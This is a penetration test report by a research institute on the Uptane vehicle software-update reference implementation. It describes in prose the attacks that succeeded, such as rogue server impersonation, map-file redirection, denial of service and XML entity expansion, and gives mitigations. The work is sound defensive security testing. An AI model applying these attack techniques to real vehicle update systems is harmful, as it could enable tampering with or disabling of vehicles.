Penetration Test Report
Penetration Test Report
As part of the
Prepared for:
Prepared by:
EXECUTIVE SUMMARY
Southwest Research Institute® (SwRI®) provides this report to University of Michigan Transportation
Research Institute (UMTRI) summarizing the red-team security assessment of the Uptane reference
implementation. The objective of this security assessment was to perform a threat and vulnerability
analysis of the Uptane reference implementation, detailing identified threats, residual vulnerabilities, and
recommended mitigations for the system.
It should be noted that the Uptane reference implementation is intended solely for reference and should
not be replicated for a production system. This testing acknowledges the limitations associated with a
reference implementation, but addresses them as a production system. Recommendations are provided
to help improve the reference implementation, however it is recognized that adopters should not deploy
the reference implementation as-is due to the innate security vulnerabilities associated with a reference
implementation.
This report summarizes SwRI’s results for the security testing performed at SwRI in San Antonio, Texas.
During the testing performed, SwRI identified potential vulnerabilities and recommends mitigation efforts
in order to improve the Uptane reference implementation. Each potential vulnerability contains a
recommendation to mitigate the vulnerability as well as a classification. There are three categories of
classifications:
Specification Improvement – The specifications should be improved in order to require that the mitigation
steps are performed.
Violation of Specification – The reference implementation is not following the requirements of the
specifications.
Reference Demonstration Improvement – Changing the reference code would address the vulnerability,
but the vulnerability is limited to only the reference that was tested for this effort.
Table 1 provides the summary of the improvements identified through this effort.
ii
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
iii
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
It should be noted that the vulnerabilities address the explicit implementation of the Uptane reference
code and did not reflect a failure in the Uptane framework.
This report contains the detailed procedures, tools, methods, and techniques used to discover the above
security vulnerabilities. For each identified vulnerability, the report provides a description of the
vulnerability and possible recommendations. Additionally, metrics for classifying the exploitability and
severity are provided. The results contained in this report represent the culmination of the red-team
penetration testing effort of the Uptane reference implementation.
iv
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
REVISION NOTICE
Version Date Revision Summary
1 April 13, 2018 Initial Draft
2 April 20, 2018 Reviewed Draft
3 May 31, 2018 Reviewed Final
v
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
TABLE OF CONTENTS
Page
EXECUTIVE SUMMARY ..................................................................................................................... ii
1. Introduction ................................................................................................................................ 1
1.1 Scope ............................................................................................................................. 2
1.2 Acronyms and Abbreviations ........................................................................................ 2
2 Test Environment ...................................................................................................................... 3
2.1 Test Bench ..................................................................................................................... 3
2.2 Test Equipment ............................................................................................................. 4
3 Testing Approach ...................................................................................................................... 5
3.1 Review Architecture and Product Documentation....................................................... 5
3.2 Identify Threats ............................................................................................................. 6
3.3 Develop Test Plan ......................................................................................................... 6
3.4 Execute Test Plan .......................................................................................................... 6
4 Findings ..................................................................................................................................... 7
4.1 Informational Testing Results ....................................................................................... 8
4.2 Pass Testing Results ...................................................................................................... 9
4.3 Fail Testing Results ...................................................................................................... 10
5 Summary ................................................................................................................................. 13
Appendix A .................................................................................................................................. A-1i
A.1 Test Plan Metrics and Ratings .................................................................................... A-1
A.2 Uptane Reference Implementation Test Plan ........................................................... A-3
Appendix B .................................................................................................................................... B-i
B.1 TEST.1 – Sniffing ......................................................................................................... B-1
B.1.1 Test Information.............................................................................................................B-1
B.1.2 Test Case ........................................................................................................................B-1
B.1.3 Test Results ....................................................................................................................B-1
B.1.4 Test Steps .......................................................................................................................B-2
B.2 TEST.2 – TLS Downgrade ............................................................................................ B-3
B.2.1 Test Information.............................................................................................................B-3
B.2.2 Test Case ........................................................................................................................B-3
B.2.3 Test Results ....................................................................................................................B-3
B.2.4 Test Steps .......................................................................................................................B-4
B.3 TEST.3 – Examine Logs ............................................................................................... B-6
B.3.1 Test Information.............................................................................................................B-6
B.3.2 Test Case ........................................................................................................................B-6
B.3.3 Test Results ....................................................................................................................B-6
B.3.4 Test Steps .......................................................................................................................B-7
B.4 TEST.4 – Certificate Checking................................................................................... B-14
vi
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
vii
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
viii
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
ix
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
LIST OF FIGURES
Page
Figure 1: 2018 Milestones............................................................................................................... 1
Figure 2. Test Setup Topology......................................................................................................... 3
Figure 3. Risk Based Assessment Methodology (RBAM) ................................................................ 5
LIST OF TABLES
Page
Table 1. Potential Vulnerabilities and Mitigation Recommendations............................................iii
Table 2. High Level Project Schedule Overview .............................................................................. 1
Table 3. Risk Metrics for All Test Cases........................................................................................... 7
x
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
1. INTRODUCTION
SwRI performed the vulnerability assessment of the Uptane reference implementation at SwRI’s facilities
in San Antonio, TX. SwRI started testing on February 12th, 2018 following the acceptance of the test plan
document by UMTRI and the test environment setup at SwRI.
SwRI conducted the testing using a white-box testing approach where source code used to run the
backend servers and the Uptane clients were fully accessible to SwRI. The Test Environment section details
the full extent of the testing setup.
Before testing activities began, SwRI provided UMTRI with a high-level project schedule indicating tasks,
milestones, deliverables, and completion status. Weekly updates and a project schedule were provided
to UMTRI during testing that provided an indication of the project’s status. The high-level project schedule
overview is provided in the Table 2 below.
Table 2. High Level Project Schedule Overview
The milestones of the project are represented visually in the image below.
1
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
1.1 Scope
The objectives of this vulnerability assessment were to identify vulnerabilities and recommend
improvements to the Uptane Reference Implementation. The following areas were investigated for this
vulnerability assessment:
• Uptane Reference Servers
o Image Repository
o Director Repository (with Inventory Database)
o Timeserver
• Uptane Reference Primary
• Uptane Reference Secondary
For this project, SwRI did not consider the security vulnerabilities associated with 3rd party hardware or
the connectivity security of the Wi-Fi technology being utilized by the devices under test.
1.2 Acronyms and Abbreviations
Acronym Definition
API Application Programming Interface
DMZ Demilitarized Zone
DOS Denial of Service
ECU Electronic Control Unit
ESSG Embedded Systems Security Group
HSM Hardware Security Module
MITM Man-in-the-Middle
N/A Not Applicable
NYU New York University
RBAM Risk-Based Assessment Methodology
SSL Secure Sockets Layer
SwRI Southwest Research Institute
TLS Transport Layer Security
TPM Trusted Platform Module
TUF The Update Framework
UMTRI University of Michigan Transportation Research Institute
XML Extensible Markup Language
XML-RPC Extensible Markup Language Remote Procedure Call
2
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
2 TEST ENVIRONMENT
Before the vulnerability assessment began, SwRI assembled a test environment to support security
penetration testing activities. The test environment utilized dedicated laboratory space to perform
testing, configuring a demilitarized zone (DMZ), the allocation of hardware (i.e., Raspberry Pi 3), allocation
of software, computers and test equipment, and the validation of software tools and equipment.
2.1 Test Bench
SwRI procured three (3) Raspberry Pi 3’s to be used for the assessment. The Pis represented the three
main computing devices in an Uptane environment: Uptane servers, an Uptane Primary, and an Uptane
Secondary. These units were connected to a SwRI-owned router configured behind a DMZ. Figure 2 below
shows the test setup topology.
3
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
4
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
3 TESTING APPROACH
This section details the testing approach for this project following SwRI’s Risk Based Assessment
Methodology (RBAM) as shown below in Figure 3.
5
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
6
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
4 FINDINGS
During the testing period, a total of thirty-five (35) tests were identified for testing the Uptane reference
implementation. The results were as follows:
• Two (2) of the tests conducted were informational, providing a basis for further testing.
• Nine (9) of the tests conducted resulted in a positive or pass result.
• Twelve (12) of the tests conducted resulted in a negative or fail result indicating the presence of
a vulnerability.
• Twelve (12) of the tests were unable to be completed due to limited device functionality,
availability, schedule constraints, or were combined with other applicable tests.
Appendix B contains detailed test procedures for each test performed. Table 3 contains the results for all
tests with their respective risk metrics; test details are further discussed in their respective sections below.
Table 3. Risk Metrics for All Test Cases
7
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
8
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
9
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
of the three (3) applicable updates available to be downloaded by the Primary. The Primary downloaded
the available updates and did not enter an errored state, therefore passing this test.
Test 27 (Replace ECU) determined if the reference implementation is capable of replacing ECU’s within a
vehicle. This required creating a legitimate vehicle with an associated Primary and Secondary. Afterward,
the attacks attempted to register a new Secondary with the Primary (to replicate the replacement of a
Secondary) and registering a Primary with the associated VIN (to replicate the replacement of a Primary).
Neither of the tests prohibited functionality nor caused the Primary or Secondary to enter an errored
state. There are areas for the registration process to be improved to ensure the replacement ECU is
legitimate and not an attacker, which is discussed further in Test 8 Update Client Registration. However,
since none of the ECUs entered an error state, this test passed.
4.3 Fail Testing Results
Twelve (12) of the tests concluded with a negative result, meaning the reference implementation was
vulnerable to the attack conducted. The following paragraphs provide summaries for each failed test
including proposed mitigations.
Test 2 (TLS/SSL Downgrade) examined communication to/from the Primary when performing an update
to determine if TLS was being used. If so, SwRI would investigate if it is susceptible to a TLS downgrade
attack and if it is using mutual authentication. SwRI determined that TLS is not being used, therefore
negating the necessity of a downgrade attack or mutual authentication investigation, and resulting in a
failed test. SwRI recommends using TLS (preferably mutual authentication if possible) and utilizing strong
cipher suites to encrypt communication.
Test 4 (Certificate Checking) attempted to exploit the lack of certificate pinning to retrieve sensitive
information from a Primary by imitating a server. SwRI determined that the Primary only has the IP
address of the server and does not have an associated public certificate. By ensuring our rogue server was
listening on the expected IP address and port, the Primary would communicate sensitive information with
a rogue server, therefore failing this test. SwRI recommends that the Primary know and utilize the public
key of the server to validate the identity of the server before sending sensitive information.
Test 6 (Client Storage Encryption) was executed to determine if the clients (Primary and Secondary) were
storing security sensitive information in memory or a temporary directory. This required observing the
directory structures of the clients throughout an update process. SwRI determined that the clients are
storing all metadata and downloaded updates in a temporary directory with global read permissions.
Additionally, this test determined cryptographic keys used to sign metadata and updates are encrypted,
but also have global read permissions. Since the testers could successfully read all metadata, update
images, and cryptographic keys, this test failed. SwRI recommends to not use a global-read temporary
directory to store security sensitive information throughout the update process. Additionally, SwRI
recommends not storing encryption keys with global read permissions, and instead, utilize a hardware or
virtual trusted platform module (TPM) or hardware security module (HSM). Lastly, SwRI recommends
utilizing the principle of least privilege, in that, a client (Primary or Secondary) should not have access to
the private keys for any other ECUs or servers.
Test 8 (Uptane Client Registration) attempted to register a rogue duplicate Secondary with the Primary,
and a rogue duplicate Primary with the servers to route traffic to the rogue devices instead of the
legitimate devices. Both rogue registrations were successful at downloading updates intended for their
duplicate counterpart, however, neither rogue device starved the legitimate device from an update.
Although this test was unsuccessful at starving a legitimate client from an update, it does highlight the
risk of potential functionality issues (due to dependency management) and a loss of intellectual property,
10
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
therefore, failing this test. SwRI recommends the reference implementation to utilize its current capability
of recognizing a spoofed ECU registration, and then deny processing a vehicle version manifest from the
spoofed ECU. One way of implementing this is to include a challenge-response approach to authenticate
the Primary before sending or receiving private information. Additionally, SwRI recommends
incorporating the capability to recognize a spoofed ECU registration into the Primary’s functionality. This
will assist the inventory database in properly performing dependency resolution and assist the director
repository to prepare updates for the appropriate Secondary.
Test 14 (Mix and Match Update) combined metadata from various updates to cause a Secondary to install
metadata that never existed together on the repository at the same time (i.e., perform a mix-and-match
attack). This required the attackers to perform and monitor a valid update, then perform another
legitimate update but drop the communication to the Secondary. Then the attackers performed a mix-
and-match update attack to the Secondary with a rogue Primary utilizing incompatible snapshot
metadata. The Secondary did not download the update and is not susceptible to a mix-and-match attack.
However, after performing the attack, the Secondary would delete its verified metadata file that
corresponds to the malicious metadata from the attack (i.e., snapshot). This prevented the Secondary
from downloading any legitimate updates afterward, thereby, performing a permanent freeze attack
against the Secondary and failing the test. SwRI recommends modifying the update code on the Secondary
to not remove trusted metadata until new trusted metadata is verified.
Test 21 (Server Storage Encryption) was executed to determine if the servers were storing security
sensitive information in memory or a temporary directory. This required observing the directory
structures of the servers throughout an update process. SwRI determined that the servers are not using
temporary directories, but are storing metadata and update images in filesystem locations with global
read permissions. Additionally, SwRI determined cryptographic keys used to sign metadata and updates
are encrypted, but also have global read permissions. Since privacy-relevant data (e.g., metadata, update
images, and cryptographic keys) are stored with global read permissions, this test failed. SwRI
recommends not storing security-sensitive data with global read permissions. Additionally, SwRI
recommends utilizing a hardware or virtual trusted platform module (TPM) or hardware security module
(HSM) for encryption key storage.
Test 25 (Delegation Attack) determined the effect multiple delegations have on the size of the metadata.
This test attempted to send an update to the Secondary with a delegation on the director’s targets
metadata, which contradicts the Uptane Implementation Specification and Update Deployment
Considerations documents. SwRI determined the amount a delegation increased the targets metadata to
be minimal (roughly 546 bytes per delegation). Additionally, SwRI determined a Secondary would attempt
to download an update with delegations on the director’s targets metadata, which contradicts
documentation and fails this test. SwRI recommends schema checking on the director’s targets metadata
to be performed differently than targets metadata received from the image repository, to account for the
difference in delegation authority as outlined in Uptane documentation.
Test 26 (Version Report DOS) attempted to perform a denial of service (DOS) attack against the Primary
by imitating a Secondary sending a large ECU version report. This required crafting a very large version
report and imitating a legitimate Secondary sending an ECU version report to the Primary. This resulted
in the Primary crashing and killing the Uptane Primary process without sending a response to the
Secondary. Since the Primary was successfully DOS’d to the point of killing the process, this test failed.
SwRI recommends implementing similar download controls that a Primary currently leverages in order to
restrict downloading data from the servers. This will assist in preventing the Primary from being
vulnerable to an endless data attack from within the vehicle. Additionally, SwRI recommends that the
11
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Primary exercise schema checking on all fields of the version report. Currently, the Primary only performs
schema checking on certain fields and leaves it up to the server to perform full verification of the ECU
version report.
Test 28 (Ownership Change) attempted to exploit the change of ownership functionality to redirect the
Primary to an attacker’s rogue server. Uptane documentation details a map file that exists on the Primary
and full-verification Secondaries which details the IP addresses and ports for the director and image
repository. These files were found on the reference implementation and can only be modified by the file
owner. The attackers leveraged their user permissions to modify the IP for both repositories to be
redirected to their rogue server. The Primary reached out to the rogue server for updates, thus failing this
test. SwRI notes the necessity of the map file in order to account for change of ownership situations. As
such, SwRI recommends that an ECU should only overwrite their map file after receiving a signed map file
from both the director and image repositories to ensure the authenticity and integrity of the new map file
contents.
Test 33 (RPC Calls) attempted to send private API commands to the inventory database from an
unauthorized user (i.e., not the director repository) which contradicts Uptane documentation. SwRI could
successfully query the inventory database without authentication from a publicly accessible API, therefore
contradicting documentation and failing this test. SwRI recommends for the reference implementation to
require authentication and to only be accessible via a private API with the director repository. This will
make the reference implementation compatible with both the Implementation Specification Section 6.2
and Deployment Considerations Section B.2.2.7. Authentication can be implemented a variety of ways,
including an authentication header (composed of username and password) in the XML-RPC request.
Additionally, the XML-RPC request should not be exposable to an outside client and must only be
accessible from a private connection to the director repository.
Test 34 (XML Entity Expansion) attempted to exploit the Python XML-RPC package being utilized by
Uptane to parse XML input to perform an XML entity expansion attack. An XML entity expansion attack
relies on recursive relationships within XML data to cause the parser to be overwhelmed with data and
unable to perform any other actions (i.e., DOS attack). This test found that the XML-RPC package being
used by Uptane is vulnerable to the attack, resulting in a failed test. SwRI recommends using the Python
defusedxml package to handle XML parsing. Utilizing the defusedxml package will provide protection
against DOS attacks and other vulnerabilities present in several Python XML parsing packages.
Test 35 (Push Multiple Updates) attempted to send multiple valid updates to a Secondary to determine if
the Secondary would correctly download and install the updates in order. This required generating and
pushing multiple valid updates from the servers to the Primary. Afterward, the Primary provided the
multiple updates to the Secondary. The Secondary would not download and install the valid updates, thus,
leading to a functionality error similar to a freeze attack against the Secondary and resulting in a failed
test. SwRI recommends adding functionality within the Secondary to determine which update must be
applied first when provided multiple updates to install, to prevent entering a ‘freeze-attacked state’.
12
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
5 SUMMARY
SwRI’s penetration testing of the Uptane reference implementation revealed several potential
vulnerabilities, which are indicated below.
• The reference implementation is not using transport layer security (TLS) to encrypt
communication between the Primary and any remote repositories or between Primary and
Secondary (when supported by the transport protocol). SwRI recommends using TLS (preferably
utilizing mutual authentication) with a strong cipher suite to encrypt this communication.
• The reference implementation is not utilizing certificate pinning to ensure a Primary is
communicating with a legitimate server at the designated IP address and port. SwRI recommends
that the Primary is provisioned with the public key of the server in order to validate the identity
of the server before sending sensitive information.
• Both the clients (Primary and Secondary) and servers (director, image repository, and timeserver)
store sensitive information (metadata, updates, encryption keys) with global read permissions.
SwRI recommends not storing sensitive information with global read permissions. Additionally,
SwRI recommends utilizing a hardware (or virtual) trusted platform module (TPM) or hardware
security module (HSM) to securely store encryption keys. Lastly, SwRI recommends utilizing the
principle of least privilege in that a client should not contain the private key for the server with
which it is communicating.
• The reference implementation recognizes a spoofed ECU registration but it still sends sensitive
information to the spoofed ECU (e.g., updates with associated metadata). This can lead to
functionality issues (e.g., incorrect versions stored for the spoofed ECU for dependency
management) and a loss of intellectual property. SwRI recommends utilizing the recognition of a
spoofed ECU registration to deny processing vehicle version manifests from the spoofed client.
Additionally, clients should be authenticated by the server before sending sensitive information.
• Performing a mix-and-match attack against the reference implementation was unsuccessful but
resulted in a functionality issue preventing the Secondary from performing any valid update
afterward due to the removal of trusted metadata. SwRI recommends modifying the update
process on the Secondary so that it does not remove previously trusted metadata until a new
trusted update is approved.
• The reference implementation would attempt to download an update with delegations on the
directors’ targets metadata, thereby, directly contradicting Uptane documentation. SwRI
recommends schema checking to be performed differently on metadata received from the
director repository to account for the difference in functionality from the image repository.
• A Primary is susceptible to becoming a victim of a denial-of-service (DOS) attack due to receiving
an extremely large ECU version report from a compromised Secondary. A Primary currently
contains download protections when downloading updates and metadata from the servers, yet
does not apply these protections when receiving data from a Secondary. SwRI recommends
implementing these download restrictions on communication between Secondaries and
Primaries in order to prevent the Primary from being vulnerable to an endless data attack from
within the vehicle. Additionally, SwRI recommends for the Primary to perform schema checking
on all fields when receiving an ECU version report.
13
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
14
Appendix A
Uptane Reference Implementation Test Plan
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Appendix A
This section specifies the test plan executed during this penetration testing engagement. The tests were
prioritized for execution utilizing a risk rating approach based on how potential vulnerabilities may affect
the Uptane reference implementation. Over the course of testing, the test plan was updated and
expanded to include new tests identified and to mark tests N/A that were considered to be duplicates or
not applicable to the system under test.
A.1 Test Plan Metrics and Ratings
The tables below provide the test plan metrics and ratings used during the penetration test.
Table A-1. Priority Ratings and Descriptions
Priority Description
High Critical, Highest Priority. These tests generally concern features that directly affect
safety.
Medium Non-Critical, High Priority. These tests generally concern module security features,
denial of service, and lower impact nuisance items.
Low Non-Critical, Low Priority. These tests generally concern nuisance items that do not
affect security or safety.
Expertise Description
Effort Description
High Exercising vulnerability requires a high amount of effort (several weeks).
Medium Exercising vulnerability requires a medium or moderate amount of effort (< 1 week).
Low Exercising vulnerability requires a low amount of effort (< 1 day).
A-1
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Table A-4. Impact Ratings and Descriptions
Impact Description
Vulnerability affects either many devices (all units) or affects safety or other
High resources external to the device.
Vulnerability affects a limited number of devices (specific hardware/software
Medium configurations) or may disable device functionality but not impact safety critical
systems.
Low Vulnerability affects an isolated component within the device and is self-contained.
A-2
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
A.2 Uptane Reference Implementation Test Plan
The table below described the final test plan utilized during the penetration test.
Table A-7. Test Plan Spreadsheet
Test
Name Description Result Priority Expertise Effort Impact Vector Comments
ID
Monitor all traffic coming to/from
the Uptane client to the Uptane
server during all points of Server
communication (e.g., registration, + Communication is
1 Sniffing download, etc.) Info Low Low Low Low Client in the clear.
Determine if the Uptane client is Reference
using TLS/SSL to communicate with Implementation is
the Uptane server. If so, attempt to not using TLS,
downgrade the TLS/SSL therefore, a
TLS/SSL connection. Also, verify whether downgrade attack
2 Downgrade mutual authentication occurs. Fail Medium Medium Low Medium Client is not possible.
Examine logs of the OS running the
Uptane client, looking for
debug/security pertinent
information, such as: debug Logs do not appear
messages, keys used, directories to reveal sensitive
3 Examine Logs used, etc. Pass Low Low Low Low Client information.
Determine if the Uptane client is
verifying the certificate of the
Certificate server before communicating and
4 Checking sending sensitive information. Fail Medium Low Low Medium Client
Examine system permissions given
Application to the Uptane processes (i.e.,
5 Permissions servers, Primary, and Secondary). N/A Low Low Low Low Client
A-3
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test
Name Description Result Priority Expertise Effort Impact Vector Comments
ID
Examine if the Uptane client
Client Storage implement proper privileges on
6 Encryption files stored (e.g., keys, files, etc.). Fail Medium Medium Medium Medium Client
Determine if the Uptane client's
code is obfuscated, and if not,
Code utilize the code to reverse engineer Moved into code
7 Obfuscation the Client. N/A Medium Low Medium Medium Client review writeup.
Examine registration between the
Uptane client and the Uptane
server. Attempt to exploit the
registration process by interrupting Server
Uptane Client the registration process and +
8 Registration spoofing as an Uptane client. Fail Medium Medium Medium Medium Client
Examine the key revocation
process and attempt to exploit the
process by sending an Server
Key unauthorized key revocation +
9 Revocation command to the Uptane client. Pass High Medium Medium High Client
Server
Endless Data Attempt to send an endless data +
10 Update update to the Uptane Primary. Pass High Low Low High Client
Attempt to replay a previous Server
Replay downloaded update to the Uptane +
11 Update client. Pass High Medium Low High Client
A-4
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test
Name Description Result Priority Expertise Effort Impact Vector Comments
ID
Modify a valid update and send it to Server
Malicious the Uptane client to determine if it +
12 Update detects a malicious update. Pass High Low Low High Client
Interrupt the updating process to Server
Partial determine how the Uptane client +
13 Update responds. Pass High Low Medium High Client
Modify an update bundle to Although not
combine cryptographically susceptible to mix-
Mix and approved updates with Server and-match attack
Match incompatible metadata (attempt + revealed major
14 Update without a server key compromise). Fail High Medium High High Client functionality flaw.
Send an update with an older
version number than what is Server
Rollback currently installed on the Uptane +
15 Update client. Pass High Low Low High Client
Spider server webpages to identify
any instances where specific Test N/A without a
16 Spider Server functions could be exploited. N/A Low Low Low Low Server web application.
Verify the server requires an HTTPS
connection (i.e., HSTS is enabled). If
Server not, attempt an HTTPS stripping Test N/A without a
17 Encryption attack. N/A Low Low Low Low Server web application
A-5
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test
Name Description Result Priority Expertise Effort Impact Vector Comments
ID
Examine login credentials for
predictability (e.g., tokens,
certificates, etc.). Includes checking
for duplicate logins on separate
servers (OEM login on the Image
Examine repo that is the same as the OEM Test N/A without a
18 Credentials login on the Director repo). N/A Low Low Low Medium Server web application
Examine termination rules to
Session determine if sessions are Test N/A without a
19 Termination terminated properly. N/A Medium Medium Low Medium Server web application
Attempt to gain administrative
Privilege access to server from a lower-level Test N/A without a
20 Escalation user. N/A Medium Medium Medium Medium Server web application
Examine the server storage and
attempt to push unauthorized
updates to the OTA server.
Additionally, examine if the Uptane
Server server implement proper privileges
Storage on files stored (e.g., keys, files,
21 Encryption etc.). Fail Medium Medium Medium Medium Server
Attackers perform a MITM, such
that, they drop a subset of images
intended for the Primary (i.e., out
of 3 images for the Primary, only 2
are sent). Observe how the Primary
22 Partial Bundle reacts to the missing update. Pass Medium High Medium High Client
A-6
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test
Name Description Result Priority Expertise Effort Impact Vector Comments
ID
Build and send malicious images as
if a developer was compromised to
Compromised determine how a compromised
23 Developer delegated role has on the system. N/A Medium High Medium High Server
Compromise a low-level ECU by
Vulnerability leveraging a programming error
24 Exploit such as buffer overflow N/A Low High High High Client
Create an update with numerous
delegations to cause the metadata
to be sufficiently large that the
update is unable to be verified due
to a lack of space on the full-
verification ECU. Additionally,
attempt to exploit the delegation
functionality by assigning a Server
Delegation delegation from only the Director +
25 Attack repository. Fail Medium Medium Medium Medium Client
A Secondary sends an extremely
large version report to the Primary.
Such that, the Primary does not
have sufficient space to write the
version report to disk and
Version experiences a Denial of Service
26 Report DOS (DOS). Fail High High Medium Medium Client
A-7
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test
Name Description Result Priority Expertise Effort Impact Vector Comments
ID
Replace an ECU on the vehicle to
see if the vehicle will fail to
authenticate for an update since
the vehicle version manifest is
different than what is expected by
the inventory database (old ECU
not present and new ECU may not
be associated with vehicle). Note if
any dependency resolution issues
occur due to the new ECU being
newer/older than the
27 Replace ECU previous/replaced ECU. Pass Medium Low Medium Medium Client
Can modify the
map file for both
the Director and
Image Repository
Exploit the change of ownership on the reference
from fleet to a consumer, by implementation,
Ownership modifying the Map File to point to thereby, increasing
28 Change a rogue Director Repository. Fail Medium Medium Medium High Client Impact severity.
Examine temporary files for old
images or information. Use
forensics tools to look for these
files to look for development tools
File or potential mis-stored private
29 Examination keys. Similar to #6 & #21. N/A Medium Medium Medium Low Server
Attempt to invoke a buffer
overflow when sending data to the Server
Buffer Uptane server, Primary, or +
30 Overflow Secondary. N/A Medium Medium Medium Medium Client
A-8
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test
Name Description Result Priority Expertise Effort Impact Vector Comments
ID
Not using CAN
Examine the entropy of seeds used seed-key, so test is
31 Seed Entropy to create keys. N/A Medium High Medium Low Server N/A.
Attempt to gather information
32 RPC Recon from servers sending RPC calls. Info Medium Low Low Low Server
Analyze the RPC calls that are used
throughout the update process.
Attempt to exploit RPC calls that
33 RPC Calls provide elevated privilege. Fail Medium Low Low Medium Server
Craft RPC requests that include
several levels of nested XML
Entity's, in an attempt to DOS the
XML Entity XMLRPC packages when
34 Expansion attempting to parse the request. Fail Medium Medium Low Medium Server
Attempt to exploit the update
functionality of the Secondary by
pushing multiple updates to the
Push Multiple Primary before the Secondary calls
35 Updates update_cycle(). Fail Medium Low Low High Server
A-9
Appendix B
Uptane Reference Implementation Test Procedures
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
APPENDIX B
This section describes test procedures and findings collected during penetration testing.
Test Information
Reference Test ID(s) N/A
Tester Allen Cain
Result INFO
B-1
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
B-2
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) Test.1 Sniffing
Tester Allen Cain
Result FAIL
B-3
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
B-4
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
B-5
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) N/A
Tester Allen Cain
Result PASS
B-6
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Monitor the output displayed on the screen when performing an update. It should appear similar to the
output below.
B-7
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
B-8
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Navigate to common logging locations for Linux-based processed (as seen below) looking for any security
pertinent information being displayed by the Uptane server processes.
/var/log/
/proc/[Uptane-process-ID]
Monitor the output displayed on the screen when performing an update. It should appear similar to the
output below.
B-9
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
>>> dp.update_cycle()
Submitting a request for a signed time to the Timeserver.
Time attestation validated. New time registered.
Now updating top-level metadata from the Director and Image Repositories
(timestamp, snapshot, root, targets)
B-10
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
